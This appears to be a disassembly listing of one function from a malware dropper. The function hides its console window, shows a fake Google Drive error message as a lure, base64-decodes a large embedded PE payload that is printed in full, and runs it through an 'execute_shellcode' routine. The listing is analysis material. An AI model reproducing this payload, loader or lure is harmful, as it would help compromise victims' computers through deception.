Function at 0x100401406
Capabilities:
Hide graphical window

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x50
lea rbp, [rsp + 0x50]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov dword [rbp + 0x38], r9d
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
je 0x10040144b
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov r9d, 0
lea r8, str.info
lea rax, str.Error_opening_the_Google_Drive_document:_ask_the_sender_to_resend_the_document.
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
lea rax, [rbp - 9]
mov rcx, rax
call fcn.100401720
lea rdx, [rbp - 9]
lea rax, [rbp - 0x18]
mov r8, rdx
lea rdx, str._n____________TVpBUlVIieVIgwgSIPk8OgAAAAAW0iBwzdeAAD_00iBw7SxAgBJidhqBFr_0AAAAAAAAAAAAAAAAAAAAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAC7UXNx_zAdIv8wHSL_MB0iuWH8ItswHSK5Yf0ihDAdIrlhwiL1MB0i9kiaIv4wHSL2SI4i7jAdIv8wHCI7MB0igkn9IuQwHSKCScIi_jAdIoJJwSLMB0igknDIv4wHSJSaWNo_zAdIgAAAAAAAAAAAAAAAAAAAABQRQAAZIYFAGPn1GUAAAAAAAAAAPAAIiALAgwAABgCAABCAQAAAAAAUFwBAAAQAAAAAACAAQAAAAAQAAAAAgAABQAAAAAAAAAFAAIAAAAAAACQAwAABAAAvOEDAAIAIAEAABAAAAAAAAAQAAAAAAAAAAAQAAAAAAAAEAAAAAAAAAAAAAAQAAAAALECADcAAAA4sQIAtAAAAAAAAAAAAAAAAGADAGgZAAAAAAAAAAAAAACAAwCoBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwkQIAcAAAAAAAAAAAAAAAADACAPgFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAAcXAgAAEAAAABgCAAAEAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAADKlAAAADACAACWAAAAHAIAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAAIIkAAADQAgAAPAAAALICAAAAAAAAAAAAAAAAAEAAAMAucGRhdGEAAGgZAAAAYAMAABoAAADuAgAAAAAAAAAAAAAAAABAAABALnJlbG9jAACoBgAAAIADAAAIAAAACAMAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEiJXCQIV0iD7CAz_0iL2Tk5dh5Ii8FIi8joagAAAP_Hi8dIacDIAAAASAPDgzgAdVIi1wkMEiDxCBfw8zMzMzMzMzMSIlcJAhXSIPsIDP_SIvZOTl2HkiLwUiLyOieAAAA_8eLx0hpwMgAAABIA8ODOAB35UiLXCQwSIPEIF_DzMzMzMzMzMxIiVwkCFdIgwgSIv5ucgAAADoeSgBAEiL2EiFwHUFjUMI60NBuMgAAABIi9dIi8joIykBAEiLBdz5AgBIhcB0DkiJmMAAAABIiwXJQIASIOjwAAAAABIiYO4AAAASIkds_kCADPASItcJDBIg8QgX8PMzMzMzMxIgwoTIvBSIsNkvkCADPSuJAEAABIhcl0T0WLCEQ7CXURSIvRSIuJuAAAAEiFyXXs6zZIi4G4AAAASIXSdAlIiYK4AAAA6wdIiQVRQIASIuBuAAAAEiFwHQHSImQwAAAAOhxJwEAM8BIg8Qow8zMzMzMzEiD7CjrG0iLDSf5AgAz0uhwSwAASIXAdAhIi8joG8QAAEiLDQz5AgDoG0sAAIXAddVIg8Qow8zMzMzMzEiJXCQISIlsJBBIiXQkGFdIgwgSIvaSIvpugEAAgBIi8uAQAAAOhcNwAAhcAPhJEAAACLyOj5AwAASIv4SIXAdTpIi8vofS8AADl7OHQTRI1GMboEAAIASIvI6CsyAADrYkyLwEiL1bkyAAAA6K04AABIi8voJTAAAOtISIvTSIvI6MgAAACFwHUpOUM4dSRIjQ3MAQAATIvPTIvDSIvV6NrBAABIhcB0GkiLyOjZwgAA6xBMi8NIi9VIi8_oVQIAAIvwSItcJDBIi2wkOIvGSIt0JEBIg8QgX8PMzMzMzMzMzEiD7ChIjQ1hvQIA6Fz9__9IiwX19wIASIXAdBaLDUq9AgA5CHQMSIuAuAAAAEiFwHXwSIPEKMPMzMzMzMzMzMxIjQ0lvQIA6WT9___MzMzMzMzMzDPAw8zMzMzMzMzMzDPAw8zMzMzMzMzMzEBTSIPsIEiL2UiLyuhbNAAAhcB0HP_IdAmD6Al0E__IdQdIg3toAHUPM8BIg8QgW8NIg3sQAHTquAEAAADr7MzMzMzMzMzMzEiLxEiJWAhIiWgQSIlwGEiJeCBBVkiD7DBIi9lIi8pIiro_TMAADP_g_gBdAlIjXMIg_gLdQRIjXNgM9tFM_Yz0utQhf91YItGUIXAdBEl____DzvYdQgPuuMcc0oz20iNVCQgSIvN6MczAAA9AAABAHUYSI1MJCDogjMAAIXAdAq_VwAAADteUHIc_8NB_8ZBi9ZMjUwkIEUzwEiLzegENAAAhcB0nEiLXCRASItsJEhIi3QkUIvHSIt8JFhIg8QwQV7DzMzMzMzMzEiJXCQISIlsJBBIiXQkGFdIgwgSIvZSIXJdQe4BgAAAOt1SIt5IEiF_3TwSItxKEiF9nUHuA0AAADrXEiLaTBIhe108EiLBUj2AgBIhcB1EeiWRwAASIkFN_YCAEiFwHS6SIvTSIvI6FdJAABMi8ZIi9dIi83oOQAAAEiLDRL2AgBIi9PoRkkAAIXAdAhIi8voOsEAADPASItcJDBIi2wkOEiLdCRASIPEIF_DzMzMzMzMzEiLxEiJWAhIiXAQTIlAGFdBVkFXSIPsQEmL2EiL8kyL8b8BAAAAiXjISItKQEg5Sjh0Bv8VjxsCAEiL00mLzug8_v__hcAPhZoAAABIi8voUDIAAESLIvIhcB0Iv_JdAmD6Ql0Gf_JdUFJi0ZoSIvTSIvOSIXAdRVB_1Zg6yhJi0YQSIvTSIvOSIXAdBVMjUQkeP_QM_FwEAPlceJfCQg6whB_1YIiUQkeEyNRCQougIAAQBIi8voGzIAAEyLRCR4hcBMD0REJDBBg_8BdAZBg_8LdRBNhcB0C0iL00iLzujONwAA6wlIi1wkcIt8JCCDezgAdQhIi8voiSwAAIvHSItcJGBIi3QkaEiDxEBBX0FeX8PMzMzMzMzMSIsFtfQCAOsLOQh0DEiLgLgAAABIhcB18MPMzEiJXCQIV0iD7CBIi9q6EAAAAEiLY1K8egPKwEASIkDSIXAdQe4DgAAAOsIxwcQAAAAM8BIi1wkMEiDxCBfw8zMzMzMzMzMzEBTSIPsIINkJEAASIvCSIvZTI1EJEC6sgECAEiLyOixMQAAhcB0LYtEJECFwHQXiYOAAAAA6MpRAAADRCRAiYOEAAAA6w6Do4AAAAAAg6OEAAAAAEiDxCBbw8zMzMzMzEiJXCQITIlEJBhVVldBVEFVQVZBV0iNrCSg_P__SIHsYAQAAEiL2kiLTPASIvLuq8BAQBEiDo6DEAALqxAQIASIvLSIvw6EQyAAC6twECAEiLy0SL6Og0MgAAurgBAgBIi8tEi_DoJDIAAEiL00iLz0SLOgm____RYXtdQhIi0cIRItoaEWF9nUISItHCESLcGxFhf91CEiLRwhEi3hwSIX2D4RRAgAASI0VFx8CAEG4AwAAAEiLzuh9KgEAhcB0GUiNFQYfAgBBuAQAAABIi87oZCoBAIXAdVlIjUwkUjPSQbgKBAAAZkSJZCRQ6NQqAQBIjUwkUEG4AAQAAEiL1kSJrVADAABEibVUAwAARIm9WAMAAOgcIgEASI1UJFBFM8BIi8__V3BFM_ZMiDpwQEAAEiNFaQeAgBBuAUAAABIi87o8ikBALqwAQ
mov rcx, rax
call method.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp - 9]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp - 0x18]
mov rcx, rax
call sym.std::string::end__
mov rbx, rax
lea rax, [rbp - 0x18]
mov rcx, rax
call sym.std::string::end__
mov rsi, rax
lea rax, [rbp - 0x18]
mov rcx, rax
call sym.std::string::begin__
mov r8, qword [0x100446c90]
mov rdx, rsi
mov rcx, rax
call method.__gnu_cxx::__normal_iterator_char__std::string__std::remove_if___gnu_cxx::__normal_iterator_char__std.string___int____int_____gnu_cxx::__normal_iterator_char__std::string_____gnu_cxx::__normal_iterator_char__std::string___int____int__
mov rdx, rax
lea rax, [rbp - 0x18]
mov r8, rbx
mov rcx, rax
call sym.std::string::erase___gnu_cxx::__normal_iterator_char__std::string_____gnu_cxx::__normal_iterator_char__std::string__
lea rax, [rbp - 0x30]
lea rdx, [rbp - 0x18]
mov rcx, rax
call sym.base64_decode_std::string_const_
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.execute_shellcode_std::vector_unsigned_char__std::allocator_unsigned_char____const_
mov ebx, 0
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea rax, [rbp - 0x18]
mov rcx, rax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x100401572
add rsp, 0x50
pop rbx
pop rsi
pop rbp
ret